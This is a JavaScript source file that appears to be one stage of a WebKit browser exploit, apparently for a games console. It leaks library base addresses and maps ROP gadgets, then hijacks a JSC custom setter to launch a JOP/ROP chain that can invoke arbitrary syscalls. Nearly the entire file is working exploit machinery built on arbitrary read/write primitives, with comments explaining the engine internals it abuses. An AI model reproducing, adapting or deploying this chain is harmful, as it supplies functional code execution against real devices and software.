function get_bases() {
const textarea = document.createElement("textarea");
const webcore_textarea = mem.addrof(textarea).readp(off.jsta_impl);
const textarea_vtable = webcore_textarea.readp(0);
const off_ta_vt = 0x23ae2b0;
const libwebkit_base = textarea_vtable.sub(off_ta_vt);
const stack_chk_fail_import = libwebkit_base.add(offset_wk_stack_chk_fail);
const stack_chk_fail_addr = resolve_import(stack_chk_fail_import);
const off_scf = 0x12ac0;
const libkernel_base = stack_chk_fail_addr.sub(off_scf);
const strlen_import = libwebkit_base.add(offset_wk_strlen);
const strlen_addr = resolve_import(strlen_import);
const off_strlen = 0x4f580;
const libc_base = strlen_addr.sub(off_strlen);
return [libwebkit_base, libkernel_base, libc_base];
}
export function init_gadget_map(gadget_map, offset_map, base_addr) {
for (const [insn, offset] of offset_map) {
gadget_map.set(insn, base_addr.add(offset));
}
}
class Chain750Base extends ChainBase {
push_end() {
this.push_gadget("leave; ret");
}
push_get_retval() {
this.push_gadget("pop rdi; ret");
this.push_value(this.retval_addr);
this.push_gadget("mov qword ptr [rdi], rax; ret");
}
push_get_errno() {
this.push_gadget("pop rdi; ret");
this.push_value(this.errno_addr);
this.push_call(this.get_gadget("__error"));
this.push_gadget("mov rax, qword ptr [rax]; ret");
this.push_gadget("mov dword ptr [rdi], eax; ret");
}
push_clear_errno() {
this.push_call(this.get_gadget("__error"));
this.push_gadget("pop rsi; ret");
this.push_value(0);
this.push_gadget("mov dword ptr [rax], esi; ret");
}
}
export class Chain750 extends Chain750Base {
constructor() {
super();
const [rdx, rdx_bak] = mem.gc_alloc(0x58);
rdx.write64(off.js_cell, this._empty_cell);
rdx.write64(0x50, this.stack_addr);
this._rsp = mem.fakeobj(rdx);
}
run() {
this.check_allow_run();
this._rop.launch = this._rsp;
this.dirty();
}
}
export const Chain = Chain750;
export function init(Chain) {
const syscall_array = [];
[libwebkit_base, libkernel_base, libc_base] = get_bases();
init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base);
init_gadget_map(gadgets, libc_gadget_offsets, libc_base);
init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base);
init_syscall_array(syscall_array, libkernel_base, 300 * KB);
let gs = Object.getOwnPropertyDescriptor(window, "location").set;
// JSCustomGetterSetter.m_getterSetter
gs = mem.addrof(gs).readp(0x28);
// sizeof JSC::CustomGetterSetter
const size_cgs = 0x18;
const [gc_buf, gc_back] = mem.gc_alloc(size_cgs);
mem.cpy(gc_buf, gs, size_cgs);
// JSC::CustomGetterSetter.m_setter
gc_buf.write64(0x10, get_gadget(gadgets, jop1));
const proto = Chain.prototype;
// _rop must have a descriptor initially in order for the structure to pass
// setHasReadOnlyOrGetterSetterPropertiesExcludingProto() thus forcing a
// call to JSObject::putInlineSlow(). putInlineSlow() is the code path that
// checks for any descriptor to run
//
// the butterfly's indexing type must be something the GC won't inspect
// like DoubleShape. it will be used to store the JOP table's pointer
const _rop = {
get launch() {
throw Error("never call");
},
0: 1.1,
};
// replace .launch with the actual custom getter/setter
mem.addrof(_rop).write64(off.js_inline_prop, gc_buf);
proto._rop = _rop;
// JOP table
const rax_ptrs = new BufferView(0x100);
const rax_ptrs_p = get_view_vector(rax_ptrs);
proto._rax_ptrs = rax_ptrs;
rax_ptrs.write64(0x70, get_gadget(gadgets, jop2));
rax_ptrs.write64(0x30, get_gadget(gadgets, jop3));
rax_ptrs.write64(0x40, get_gadget(gadgets, jop4));
rax_ptrs.write64(0, get_gadget(gadgets, jop5));
const jop_buffer_p = mem.addrof(_rop).readp(off.js_butterfly);
jop_buffer_p.write64(0, rax_ptrs_p);
const empty = {};
proto._empty_cell = mem.addrof(empty).read64(off.js_cell);
Chain.init_class(gadgets, syscall_array);
}